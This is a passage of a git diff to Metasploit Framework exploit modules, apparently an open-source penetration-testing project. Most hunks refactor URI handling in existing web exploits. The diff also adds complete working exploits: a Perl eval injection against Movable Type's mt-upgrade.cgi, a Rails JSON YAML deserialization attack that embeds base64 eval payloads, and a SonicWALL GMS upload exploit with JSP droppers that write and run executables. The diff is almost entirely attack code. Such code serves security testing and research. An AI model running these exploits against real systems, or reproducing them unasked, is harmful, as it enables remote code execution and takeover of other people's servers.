@uri.path = normalize_uri(@uri.path) + @uri.path << "/" if @uri.path[-1, 1] != "/" + print_status('Checking access to the script console') + res = send_request_cgi({'uri' => "#{@uri.path}script"}) + fail_with(Exploit::Failure::Unknown) if not res + + @cookie = nil + if res.code != 200 + print_status('Logging in...') + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(@uri.path, "j_acegi_security_check"), + 'vars_post' => + { + 'j_username' => Rex::Text.uri_encode(datastore['USERNAME'], 'hex-normal'), + 'j_password' => Rex::Text.uri_encode(datastore['PASSWORD'], 'hex-normal'), + 'Submit' => 'log in' + } + }) + + if not (res and res.code == 302) or res.headers['Location'] =~ /loginError/ + fail_with(Exploit::Failure::NoAccess, 'login failed') + end + sessionid = 'JSESSIONID' << res.headers['set-cookie'].split('JSESSIONID')[1].split('; ')[0] + @cookie = "#{sessionid}" + else + print_status('No authentication required, skipping login...') + end + + case target['Platform'] + when 'win' + print_status("#{rhost}:#{rport} - Sending VBS stager...") + execute_cmdstager({:linemax => 2049}) + when 'unix' + print_status("#{rhost}:#{rport} - Sending payload...") + http_send_command("#{payload.encoded}") + when 'linux' + print_status("#{rhost}:#{rport} - Sending Linux stager...") + linux_stager + end + + handler + end +end diff --git a/modules/exploits/multi/http/log1cms_ajax_create_folder.rb b/modules/exploits/multi/http/log1cms_ajax_create_folder.rb index 0206ac51f754..98f2f7ebda21 100644 --- a/modules/exploits/multi/http/log1cms_ajax_create_folder.rb +++ b/modules/exploits/multi/http/log1cms_ajax_create_folder.rb @@ -66,7 +66,7 @@ def check res = send_request_raw({ 'method' => 'GET', - 'uri' => "#{uri}admin/libraries/ajaxfilemanager/ajax_create_folder.php" + 'uri' => normalize_uri(uri, "admin/libraries/ajaxfilemanager/ajax_create_folder.php") }) if res and res.code == 200 @@ -87,14 +87,14 @@ def exploit print_status("#{peer} - Sending PHP payload (#{php.length.to_s} bytes)") send_request_cgi({ 'method' => 'POST', - 'uri' => "#{uri}admin/libraries/ajaxfilemanager/ajax_create_folder.php", + 'uri' => normalize_uri(uri, "admin/libraries/ajaxfilemanager/ajax_create_folder.php"), 'data' => php }) print_status("#{peer} - Requesting data.php") send_request_raw({ 'method' => 'GET', - 'uri' => "#{uri}admin/libraries/ajaxfilemanager/inc/data.php" + 'uri' => normalize_uri(uri, 'admin/libraries/ajaxfilemanager/inc/data.php') }) handler diff --git a/modules/exploits/multi/http/mobilecartly_upload_exec.rb b/modules/exploits/multi/http/mobilecartly_upload_exec.rb index fbe992bc3af9..34ea77ce51df 100644 --- a/modules/exploits/multi/http/mobilecartly_upload_exec.rb +++ b/modules/exploits/multi/http/mobilecartly_upload_exec.rb @@ -64,7 +64,7 @@ def check uri << '/' if uri[-1,1] != '/' base = File.dirname("#{uri}.") - res = send_request_raw({'uri'=>"#{base}/index.php"}) + res = send_request_raw({'uri'=>normalize_uri(uri, "/index.php")}) if res and res.body =~ /MobileCartly/ return Exploit::CheckCode::Detected else @@ -93,7 +93,7 @@ def exploit # print_status("#{@peer} - Uploading payload") res = send_request_cgi({ - 'uri' => "#{base}/includes/savepage.php", + 'uri' => normalize_uri(base, "/includes/savepage.php"), 'vars_get' => { 'savepage' => php_fname, 'pagecontent' => get_write_exec_payload(:unlink_self=>true) @@ -109,7 +109,7 @@ def exploit # Run payload # print_status("#{@peer} - Requesting '#{php_fname}'") - send_request_cgi({ 'uri' => "#{base}/pages/#{php_fname}" }) + send_request_cgi({ 'uri' => normalize_uri(base, 'pages', php_fname) }) handler end diff --git a/modules/exploits/multi/http/movabletype_upgrade_exec.rb b/modules/exploits/multi/http/movabletype_upgrade_exec.rb new file mode 100644 index 000000000000..0347f055039e --- /dev/null +++ b/modules/exploits/multi/http/movabletype_upgrade_exec.rb @@ -0,0 +1,122 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit4 < Msf::Exploit::Remote + + include Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Movable Type 4.2x, 4.3x Web Upgrade Remote Code Execution', + 'Description' => %q{ + This module can be used to execute a payload on MoveableType (MT) that + exposes a CGI script, mt-upgrade.cgi (usually at /mt/mt-upgrade.cgi), + that is used during installation and updating of the platform. + The vulnerability arises due to the following properties: + 1. This script may be invoked remotely without requiring authentication + to any MT instance. + 2. Through a crafted POST request, it is possible to invoke particular + database migration functions (i.e functions that bring the existing + database up-to-date with an updated codebase) by name and with + particular parameters. + 3. A particular migration function, core_drop_meta_for_table, allows + a class parameter to be set which is used directly in a perl eval + statement, allowing perl code injection. + }, + 'Author' => + [ + 'Kacper Nowak', + 'Nick Blundell', + 'Gary O\'Leary-Steele' + ], + 'References' => + [ + ['CVE', '2012-6315'], # superseded by CVE-2013-0209 (duplicate) + ['CVE', '2013-0209'], + ['URL', 'http://www.sec-1.com/blog/?p=402'], + ['URL', 'http://www.movabletype.org/2013/01/movable_type_438_patch.html'] + ], + 'Arch' => ARCH_CMD, + 'Payload' => + { + 'Compat' => + { + 'PayloadType' => 'cmd' + } + }, + 'Platform' => + [ + 'win', + 'unix' + ], + 'Targets' => + [ + ['Movable Type 4.2x, 4.3x', {}] + ], + 'Privileged' => false, + 'DisclosureDate' => "Jan 07 2013", + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The URI path of the Movable Type installation', '/mt']) + ], self.class) + end + + def check + @peer = "#{rhost}:#{rport}" + fingerprint = rand_text_alpha(5) + print_status("#{@peer} - Sending check...") + begin + res = http_send_raw(fingerprint) + rescue Rex::ConnectionError + return Exploit::CheckCode::Unknown + end + if (res) + if (res.code == 200 and res.body =~ /Can't locate object method \\"dbi_driver\\" via package \\"#{fingerprint}\\" at/) + return Exploit::CheckCode::Vulnerable + elsif (res.code != 200) + return Exploit::CheckCode::Unknown + else + return Exploit::CheckCode::Safe + end + else + return Exploit::CheckCode::Unknown + end + end + + def exploit + @peer = "#{rhost}:#{rport}" + print_status("#{@peer} - Sending payload...") + http_send_cmd(payload.encoded) + end + + def http_send_raw(cmd) + path = normalize_uri(target_uri.path, '/mt-upgrade.cgi') + pay = cmd.gsub('\\', '\\\\').gsub('"', '\"') + send_request_cgi( + { + 'uri' => path, + 'method' => 'POST', + 'vars_post' => + { + '__mode' => 'run_actions', + 'installing' => '1', + 'steps' => %{[["core_drop_meta_for_table","class","#{pay}"]]} + } + }) + end + + def http_send_cmd(cmd) + pay = 'v0;use MIME::Base64;system(decode_base64(q(' + pay << Rex::Text.encode_base64(cmd) + pay << ')));return 0' + http_send_raw(pay) + end +end diff --git a/modules/exploits/multi/http/openfire_auth_bypass.rb b/modules/exploits/multi/http/openfire_auth_bypass.rb index 4f4557bb8026..a7fc47a52b64 100644 --- a/modules/exploits/multi/http/openfire_auth_bypass.rb +++ b/modules/exploits/multi/http/openfire_auth_bypass.rb @@ -89,10 +89,10 @@ def initialize(info = {}) end def check - base = normalize_uri(target_uri.path) + base = target_uri.path base << '/' if base[-1, 1] != '/' - path = "#{base}login.jsp" + path = normalize_uri(base, "login.jsp") res = send_request_cgi( { 'uri' => path @@ -183,7 +183,7 @@ def exploit data << "\r\n--#{boundary}--" res = send_request_cgi({ - 'uri' => "#{base}setup/setup-/../../plugin-admin.jsp?uploadplugin", + 'uri' => normalize_uri(base, "setup/setup-/../../plugin-admin.jsp?uploadplugin"), 'method' => 'POST', 'data' => data, 'headers' => @@ -201,7 +201,7 @@ def exploit if datastore['REMOVE_PLUGIN'] print_status("Deleting plugin #{plugin_name} from the server") res = send_request_cgi({ - 'uri' => "#{base}setup/setup-/../../plugin-admin.jsp?deleteplugin=#{plugin_name.downcase}", + 'uri' => normalize_uri(base, "setup/setup-/../../plugin-admin.jsp?deleteplugin=") + plugin_name.downcase, 'headers' => { 'Cookie' => "JSESSIONID=#{rand_text_numeric(13)}", diff --git a/modules/exploits/multi/http/php_cgi_arg_injection.rb b/modules/exploits/multi/http/php_cgi_arg_injection.rb index 2f45fc760244..a245a3cd457f 100644 --- a/modules/exploits/multi/http/php_cgi_arg_injection.rb +++ b/modules/exploits/multi/http/php_cgi_arg_injection.rb @@ -96,11 +96,9 @@ def exploit ] qs = args.join() - uri = normalize_uri(target_uri) + uri = normalize_uri(target_uri.path) uri = "#{uri}?#{qs}" - #print_status("URI: #{target_uri}?#{qs}") # Uncomment to preview URI - # Has to be all on one line, so gsub out the comments and the newlines payload_oneline = " 'GET', - 'uri' => "#{base}mods/documents/uploads/#{f}", + 'uri' => normalize_uri(base, 'mods/documents/uploads/', f), 'cookie' => cookie }) end diff --git a/modules/exploits/multi/http/phpldapadmin_query_engine.rb b/modules/exploits/multi/http/phpldapadmin_query_engine.rb index 7e1bee9ef4f4..6052a86061de 100644 --- a/modules/exploits/multi/http/phpldapadmin_query_engine.rb +++ b/modules/exploits/multi/http/phpldapadmin_query_engine.rb @@ -56,9 +56,7 @@ def initialize(info = {}) end def check - uri = normalize_uri(datastore['URI']) - uri << '/' if uri[-1,1] != '/' - uri << 'index.php' + uri = normalize_uri(datastore['URI'], 'index.php') res = send_request_raw( { @@ -74,9 +72,7 @@ def check end def get_session - uri normalize_uri(datastore['URI']) - uri << '/' if uri[-1,1] != '/' - uri << 'index.php' + uri = normalize_uri(datastore['URI'], 'index.php') res = send_request_raw( { diff --git a/modules/exploits/multi/http/phptax_exec.rb b/modules/exploits/multi/http/phptax_exec.rb index 3de593e6cd85..d0733a8efb1d 100644 --- a/modules/exploits/multi/http/phptax_exec.rb +++ b/modules/exploits/multi/http/phptax_exec.rb @@ -73,13 +73,12 @@ def check def exploit - uri = normalize_uri(target_uri.path) - uri << '/' if uri[-1,1] != '/' + uri = target_uri.path print_status("#{rhost}#{rport} - Sending request...") res = send_request_cgi({ 'method' => 'GET', - 'uri' => "#{uri}drawimage.php", + 'uri' => normalize_uri(uri, "drawimage.php"), 'vars_get' => { 'pdf' => 'make', 'pfilez' => "xxx; #{payload.encoded}" diff --git a/modules/exploits/multi/http/plone_popen2.rb b/modules/exploits/multi/http/plone_popen2.rb index 10c502fc7f53..1015e29dd69b 100644 --- a/modules/exploits/multi/http/plone_popen2.rb +++ b/modules/exploits/multi/http/plone_popen2.rb @@ -61,9 +61,7 @@ def initialize(info={}) end def check - uri = normalize_uri(datastore['URI']) - uri << '/' if uri[-1,1] != '/' - uri << 'p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2' + uri = normalize_uri(datastore['URI'], 'p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2') res = send_request_raw( { @@ -77,9 +75,7 @@ def check end def exploit - uri = normalize_uri(datastore['URI']) - uri << '/' if uri[-1,1] != '/' - uri << 'p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2' + uri = normalize_uri(datastore['URI'], 'p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2') send_request_cgi( { diff --git a/modules/exploits/multi/http/pmwiki_pagelist.rb b/modules/exploits/multi/http/pmwiki_pagelist.rb index 9bbbcb39674a..15526994829a 100644 --- a/modules/exploits/multi/http/pmwiki_pagelist.rb +++ b/modules/exploits/multi/http/pmwiki_pagelist.rb @@ -73,8 +73,7 @@ def exploit header = rand_text_alpha_upper(3) header_append = rand_text_alpha_upper(4) - uri = normalize_uri(datastore['URI']) - uri += (datastore['URI'][-1, 1] == "/") ? 'pmwiki.php' : '/pmwiki.php' + uri = normalize_uri(datastore['URI'], "pmwiki.php") res = send_request_cgi({ 'method' => 'POST', diff --git a/modules/exploits/multi/http/qdpm_upload_exec.rb b/modules/exploits/multi/http/qdpm_upload_exec.rb index 39df154e4fe8..47959f1b7138 100644 --- a/modules/exploits/multi/http/qdpm_upload_exec.rb +++ b/modules/exploits/multi/http/qdpm_upload_exec.rb @@ -65,7 +65,7 @@ def check uri << '/' if uri[-1,1] != '/' base = File.dirname("#{uri}.") - res = send_request_raw({'uri'=>"#{base}/index.php"}) + res = send_request_raw({'uri'=>normalize_uri(base, "/index.php")}) if res and res.body =~ /
.+qdPM ([\d])\.([\d]).+\<\/div\>/m major, minor = $1, $2 return Exploit::CheckCode::Vulnerable if (major+minor).to_i <= 70 @@ -112,7 +112,7 @@ def login(base, username, password) # Login res = send_request_cgi({ 'method' => 'POST', - 'uri' => "#{base}/index.php/home/login", + 'uri' => normalize_uri("#{base}/index.php/home/login"), 'vars_post' => { 'login[email]' => username, 'login[password]' => password, @@ -187,7 +187,7 @@ def upload_php(base, opts) res = send_request_cgi({ 'method' => 'POST', - 'uri' => "#{base}/index.php/home/myAccount", + 'uri' => normalize_uri("#{base}/index.php/home/myAccount"), 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => post_data, 'cookie' => cookie, @@ -205,7 +205,7 @@ def exec_php(base, opts) # When we upload a file, it will be renamed. The 'myAccount' page has that info. res = send_request_cgi({ - 'uri' => "#{base}/index.php/home/myAccount", + 'uri' => normalize_uri("#{base}/index.php/home/myAccount"), 'cookie' => cookie }) diff --git a/modules/exploits/multi/http/rails_json_yaml_code_exec.rb b/modules/exploits/multi/http/rails_json_yaml_code_exec.rb new file mode 100644 index 000000000000..6fafba24d9de --- /dev/null +++ b/modules/exploits/multi/http/rails_json_yaml_code_exec.rb @@ -0,0 +1,118 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Ruby on Rails JSON Processor YAML Deserialization Code Execution', + 'Description' => %q{ + This module exploits a remote code execution vulnerability in the + JSON request processor of the Ruby on Rails application framework. + This vulnerability allows an attacker to instantiate a remote object, + which in turn can be used to execute any ruby code remotely in the + context of the application. This vulnerability is very similar to + CVE-2013-0156. + + This module has been tested successfully on RoR 3.0.9, 3.0.19, and + 2.3.15. + + The technique used by this module requires the target to be running a + fairly recent version of Ruby 1.9 (since 2011 or so). Applications + using Ruby 1.8 may still be exploitable using the init_with() method, + but this has not been demonstrated. + + }, + 'Author' => + [ + 'jjarmoc', # Initial module based on cve-2013-0156, testing help + 'egypt', # Module + 'lian', # Identified the RouteSet::NamedRouteCollection vector + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2013-0333'], + ], + 'Platform' => 'ruby', + 'Arch' => ARCH_RUBY, + 'Privileged' => false, + 'Targets' => [ ['Automatic', {} ] ], + 'DisclosureDate' => 'Jan 28 2013', + 'DefaultOptions' => { "PrependFork" => true }, + 'DefaultTarget' => 0)) + + register_options( + [ + Opt::RPORT(80), + OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]), + OptEnum.new('HTTP_METHOD', [true, 'HTTP Method', 'POST', ['GET', 'POST', 'PUT'] ]) + ], self.class) + + end + + # + # Create the YAML document that will be embedded into the JSON + # + def build_yaml_rails2 + + code = Rex::Text.encode_base64(payload.encoded) + yaml = + "--- !ruby/hash:ActionController::Routing::RouteSet::NamedRouteCollection\n" + + "'#{Rex::Text.rand_text_alpha(rand(8)+1)}; " + + "eval(%[#{code}].unpack(%[m0])[0]);' " + + ": !ruby/object:ActionController::Routing::Route\n segments: []\n requirements:\n " + + ":#{Rex::Text.rand_text_alpha(rand(8)+1)}:\n :#{Rex::Text.rand_text_alpha(rand(8)+1)}: " + + ":#{Rex::Text.rand_text_alpha(rand(8)+1)}\n" + yaml.gsub(':', '\u003a') + end + + + # + # Create the YAML document that will be embedded into the JSON + # + def build_yaml_rails3 + + code = Rex::Text.encode_base64(payload.encoded) + yaml = + "--- !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection\n" + + "'#{Rex::Text.rand_text_alpha(rand(8)+1)};eval(%[#{code}].unpack(%[m0])[0]);' " + + ": !ruby/object:OpenStruct\n table:\n :defaults: {}\n" + yaml.gsub(':', '\u003a') + end + + def build_request(v) + case v + when 2; build_yaml_rails2 + when 3; build_yaml_rails3 + end + end + + # + # Send the actual request + # + def exploit + + [2, 3].each do |ver| + print_status("Sending Railsv#{ver} request to #{rhost}:#{rport}...") + send_request_cgi({ + 'uri' => normalize_uri(target_uri.path), + 'method' => datastore['HTTP_METHOD'], + 'ctype' => 'application/json', + 'headers' => { 'X-HTTP-Method-Override' => 'get' }, + 'data' => build_request(ver) + }, 25) + handler + end + + end +end diff --git a/modules/exploits/multi/http/rails_xml_yaml_code_exec.rb b/modules/exploits/multi/http/rails_xml_yaml_code_exec.rb index b103422ff400..e5e5311505bc 100644 --- a/modules/exploits/multi/http/rails_xml_yaml_code_exec.rb +++ b/modules/exploits/multi/http/rails_xml_yaml_code_exec.rb @@ -10,7 +10,6 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking - include Msf::Exploit::CmdStagerTFTP include Msf::Exploit::Remote::HttpClient def initialize(info = {}) @@ -47,14 +46,14 @@ def initialize(info = {}) 'Privileged' => false, 'Targets' => [ ['Automatic', {} ] ], 'DisclosureDate' => 'Jan 7 2013', + 'DefaultOptions' => { "PrependFork" => true }, 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(80), OptString.new('URIPATH', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]), - OptString.new('HTTP_METHOD', [ true, 'The HTTP request method (GET, POST, PUT typically work)', "POST"]) - + OptEnum.new('HTTP_METHOD', [true, 'HTTP Method', 'POST', ['GET', 'POST', 'PUT'] ]) ], self.class) register_evasion_options( @@ -63,35 +62,12 @@ def initialize(info = {}) ], self.class) end - - # - # This stub ensures that the payload runs outside of the Rails process - # Otherwise, the session can be killed on timeout - # - def detached_payload_stub(code) - %Q^ - code = '#{ Rex::Text.encode_base64(code) }'.unpack("m0").first - if RUBY_PLATFORM =~ /mswin|mingw|win32/ - inp = IO.popen("ruby", "wb") rescue nil - if inp - inp.write(code) - inp.close - end - else - if ! Process.fork() - eval(code) rescue nil - end - end - ^.strip.split(/\n/).map{|line| line.strip}.join("\n") - end - # # Create the YAML document that will be embedded into the XML # def build_yaml_rails2 - # Embed the payload with the detached stub - code = Rex::Text.encode_base64( detached_payload_stub(payload.encoded) ) + code = Rex::Text.encode_base64(payload.encoded) yaml = "--- !ruby/hash:ActionController::Routing::RouteSet::NamedRouteCollection\n" + "'#{Rex::Text.rand_text_alpha(rand(8)+1)}; " + @@ -108,8 +84,7 @@ def build_yaml_rails2 # def build_yaml_rails3 - # Embed the payload with the detached stub - code = Rex::Text.encode_base64( detached_payload_stub(payload.encoded) ) + code = Rex::Text.encode_base64(payload.encoded) yaml = "--- !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection\n" + "'#{Rex::Text.rand_text_alpha(rand(8)+1)}; " + @@ -164,24 +139,17 @@ def build_request(v) # def exploit - print_status("Sending Railsv3 request to #{rhost}:#{rport}...") - res = send_request_cgi({ - 'uri' => datastore['URIPATH'] || "/", - 'method' => datastore['HTTP_METHOD'], - 'ctype' => 'application/xml', - 'headers' => { 'X-HTTP-Method-Override' => 'get' }, - 'data' => build_request(3) - }, 25) - handler - - print_status("Sending Railsv2 request to #{rhost}:#{rport}...") - res = send_request_cgi({ - 'uri' => datastore['URIPATH'] || "/", - 'method' => datastore['HTTP_METHOD'], - 'ctype' => 'application/xml', - 'headers' => { 'X-HTTP-Method-Override' => 'get' }, - 'data' => build_request(2) - }, 25) - handler + [2, 3].each do |ver| + print_status("Sending Railsv#{ver} request to #{rhost}:#{rport}...") + send_request_cgi({ + 'uri' => datastore['URIPATH'] || "/", + 'method' => datastore['HTTP_METHOD'], + 'ctype' => 'application/xml', + 'headers' => { 'X-HTTP-Method-Override' => 'get' }, + 'data' => build_request(ver) + }, 25) + handler + end + end end diff --git a/modules/exploits/multi/http/sit_file_upload.rb b/modules/exploits/multi/http/sit_file_upload.rb index 830202444bdc..cf46bf92d7ac 100644 --- a/modules/exploits/multi/http/sit_file_upload.rb +++ b/modules/exploits/multi/http/sit_file_upload.rb @@ -64,12 +64,7 @@ def initialize(info = {}) def check - uri = normalize_uri(datastore['URI']) - if uri[-1,1] != '/' - uri = uri + "index.php" - else - uri = uri + "/index.php" - end + uri = normalize_uri(datastore['URI'], "index.php") res = send_request_raw({ 'uri' => uri @@ -91,12 +86,7 @@ def check def retrieve_session(user, pass) - uri = normalize_uri(datastore['URI']) - if uri[-1,1] == "/" - uri = uri + "login.php" - else - uri = uri + "/login.php" - end + uri = normalize_uri(datastore['URI'], "login.php") res = send_request_cgi({ 'uri' => uri, @@ -121,12 +111,7 @@ def retrieve_session(user, pass) def upload_page(session, newpage, contents) - uri = normalize_uri(datastore['URI']) - if uri[-1,1] == "/" - uri = uri + "ftp_upload_file.php" - else - uri = uri + "/ftp_upload_file.php" - end + uri = normalize_uri(datastore['URI'], "ftp_upload_file.php") boundary = rand_text_alphanumeric(6) @@ -187,12 +172,7 @@ def retrieve_upload_dir(session) def cmd_shell(cmdpath) print_status("Calling payload: #{cmdpath}") - uri = normalize_uri(datastore['URI']) - if uri[-1,1] == "/" - uri = uri + cmdpath - else - uri = uri + "/#{cmdpath}" - end + uri = normalize_uri(datastore['URI'], cmdpath) send_request_raw({ 'uri' => uri diff --git a/modules/exploits/multi/http/sonicwall_gms_upload.rb b/modules/exploits/multi/http/sonicwall_gms_upload.rb new file mode 100644 index 000000000000..397116f37a6a --- /dev/null +++ b/modules/exploits/multi/http/sonicwall_gms_upload.rb @@ -0,0 +1,285 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] } + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'SonicWALL GMS 6 Arbitrary File Upload', + 'Description' => %q{ + This module exploits a code execution flaw in SonicWALL GMS. It exploits two + vulnerabilities in order to get its objective. An authentication bypass in the + Web Administration interface allows to abuse the "appliance" application and upload + an arbitrary payload embedded in a JSP. The module has been tested successfully on + SonicWALL GMS 6.0.6017 over Windows 2003 SP2 and SonicWALL GMS 6.0.6022 Virtual + Appliance (Linux). On the Virtual Appliance the linux meterpreter hasn't run + successfully while testing, shell payload have been used. + }, + 'Author' => + [ + 'Nikolas Sotiriu', # Vulnerability Discovery + 'Julian Vilas ', # Metasploit module + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2013-1359'], + [ 'OSVDB', '89347' ], + [ 'BID', '57445' ], + [ 'EDB', '24204' ] + ], + 'Privileged' => true, + 'Platform' => [ 'win', 'linux' ], + 'Targets' => + [ + [ 'SonicWALL GMS 6.0 Viewpoint / Java Universal', + { + 'Arch' => ARCH_JAVA, + 'Platform' => 'java' + } + ], + [ 'SonicWALL GMS 6.0 Viewpoint / Windows 2003 SP2', + { + 'Arch' => ARCH_X86, + 'Platform' => 'win' + } + ], + [ 'SonicWALL GMS 6.0 Viewpoint Virtual Appliance (Linux)', + { + 'Arch' => ARCH_X86, + 'Platform' => 'linux' + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jan 17 2012')) + + register_options( + [ + Opt::RPORT(80), + OptString.new('TARGETURI', [true, 'Path to SonicWall GMS', '/']) + ], self.class) + end + + + def install_path + return @install_path if @install_path + + res = send_request_cgi( + { + 'uri' => normalize_uri(target_uri.path,"appliance","applianceMainPage") + "?skipSessionCheck=1", + 'method' => 'POST', + 'connection' => 'TE, close', + 'headers' => + { + 'TE' => "deflate,gzip;q=0.3", + }, + 'vars_post' => { + 'num' => '123456', + 'action' => 'show_diagnostics', + 'task' => 'search', + 'item' => 'application_log', + 'criteria' => '*.*', + 'width' => '500' + } + }) + + @install_path = nil + if res and res.code == 200 and res.body =~ /VALUE="(.*)logs/ + @install_path = $1 + end + + @install_path + end + + def upload_file(location, filename, contents) + post_data = Rex::MIME::Message.new + post_data.add_part("file_system", nil, nil, "form-data; name=\"action\"") + post_data.add_part("uploadFile", nil, nil, "form-data; name=\"task\"") + post_data.add_part(location, nil, nil, "form-data; name=\"searchFolder\"") + post_data.add_part(contents, "application/octet-stream", nil, "form-data; name=\"uploadFilename\"; filename=\"#{filename}\"") + + # Work around an incompatible MIME implementation + data = post_data.to_s + data.gsub!(/\r\n\r\n--_Part/, "\r\n--_Part") + + res = send_request_cgi( + { + 'uri' => normalize_uri(target_uri.path, "appliance","applianceMainPage") + "?skipSessionCheck=1", + 'method' => 'POST', + 'data' => data, + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", + 'headers' => + { + 'TE' => "deflate,gzip;q=0.3", + }, + 'connection' => 'TE, close' + }) + register_files_for_cleanup(path_join(location, filename)) + + if res and res.code == 200 and res.body.empty? + return true + else + return false + end + end + + def upload_and_run_jsp(filename, contents) + upload_file(path_join(install_path,"webapps","appliance"), filename, contents) + send_request_cgi( + { + 'uri' => normalize_uri(target_uri.path, "appliance", filename), + 'method' => 'GET' + }) + end + + def check + if install_path.nil? + return Exploit::CheckCode::Safe + end + + if install_path.include?("\\") + print_status("Target looks like Windows") + else + print_status("Target looks like Linux") + end + return Exploit::CheckCode::Vulnerable + end + + def exploit + @peer = "#{rhost}:#{rport}" + + # Get Tomcat installation path + print_status("#{@peer} - Retrieving Tomcat installation path...") + + if install_path.nil? + fail_with(Exploit::Failure::NotVulnerable, "#{@peer} - Unable to retrieve the Tomcat installation path") + end + + print_good("#{@peer} - Tomcat installed on #{install_path}") + + if target['Platform'] == "java" + exploit_java + else + exploit_native + end + end + + def exploit_java + print_status("#{@peer} - Uploading WAR file") + app_base = rand_text_alphanumeric(4+rand(32-4)) + + war = payload.encoded_war({ :app_name => app_base }).to_s + war_filename = path_join(install_path, "webapps", "#{app_base}.war") + + register_files_for_cleanup(war_filename) + + dropper = jsp_drop_bin(war, war_filename) + dropper_filename = Rex::Text.rand_text_alpha(8) + ".jsp" + + upload_and_run_jsp(dropper_filename, dropper) + + 10.times do + select(nil, nil, nil, 2) + + # Now make a request to trigger the newly deployed war + print_status("#{@peer} - Attempting to launch payload in deployed WAR...") + res = send_request_cgi( + { + 'uri' => normalize_uri(target_uri.path, app_base, Rex::Text.rand_text_alpha(rand(8)+8)), + 'method' => 'GET' + }) + # Failure. The request timed out or the server went away. + break if res.nil? + # Success! Triggered the payload, should have a shell incoming + break if res.code == 200 + end + end + + def exploit_native + print_status("#{@peer} - Uploading executable file") + exe = payload.encoded_exe + exe_filename = path_join(install_path, Rex::Text.rand_text_alpha(8)) + if target['Platform'] == "win" + exe << ".exe" + end + + register_files_for_cleanup(exe_filename) + + dropper = jsp_drop_and_execute(exe, exe_filename) + dropper_filename = Rex::Text.rand_text_alpha(8) + ".jsp" + + upload_and_run_jsp(dropper_filename, dropper) + end + + def path_join(*paths) + if install_path.include?("\\") + path = paths.join("\\") + path.gsub!(%r|\\+|, "\\\\\\\\") + else + path = paths.join("/") + path.gsub!(%r|//+|, "/") + end + + path + end + + # This should probably go in a mixin + def jsp_drop_bin(bin_data, output_file) + jspraw = %Q|<%@ page import="java.io.*" %>\n| + jspraw << %Q|<%\n| + jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n| + + jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n| + + jspraw << %Q|int numbytes = data.length();\n| + + jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n| + jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n| + jspraw << %Q|{\n| + jspraw << %Q| char char1 = (char) data.charAt(counter);\n| + jspraw << %Q| char char2 = (char) data.charAt(counter + 1);\n| + jspraw << %Q| int comb = Character.digit(char1, 16) & 0xff;\n| + jspraw << %Q| comb <<= 4;\n| + jspraw << %Q| comb += Character.digit(char2, 16) & 0xff;\n| + jspraw << %Q| bytes[counter/2] = (byte)comb;\n| + jspraw << %Q|}\n| + + jspraw << %Q|outputstream.write(bytes);\n| + jspraw << %Q|outputstream.close();\n| + jspraw << %Q|%>\n| + + jspraw + end + + def jsp_execute_command(command) + jspraw = %Q|<%@ page import="java.io.*" %>\n| + jspraw << %Q|<%\n| + jspraw << %Q|try {\n| + jspraw << %Q| Runtime.getRuntime().exec("chmod +x #{command}");\n| + jspraw << %Q|} catch (IOException ioe) { }\n| + jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n| + jspraw << %Q|%>\n| + + jspraw + end + + def jsp_drop_and_execute(bin_data, output_file) + jsp_drop_bin(bin_data, output_file) + jsp_execute_command(output_file) + end + +end diff --git a/modules/exploits/multi/http/splunk_upload_app_exec.rb b/modules/exploits/multi/http/splunk_upload_app_exec.rb index f53da514dda0..4bf8cc5abdef 100644 --- a/modules/exploits/multi/http/splunk_upload_app_exec.rb +++ b/modules/exploits/multi/http/splunk_upload_app_exec.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = ExcellentRanking + Rank = GoodRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/struts_code_exec.rb b/modules/exploits/multi/http/struts_code_exec.rb index 1c4bfc9e070f..1ff03167083a 100644 --- a/modules/exploits/multi/http/struts_code_exec.rb +++ b/modules/exploits/multi/http/struts_code_exec.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = ExcellentRanking + Rank = GoodRanking include Msf::Exploit::CmdStagerTFTP include 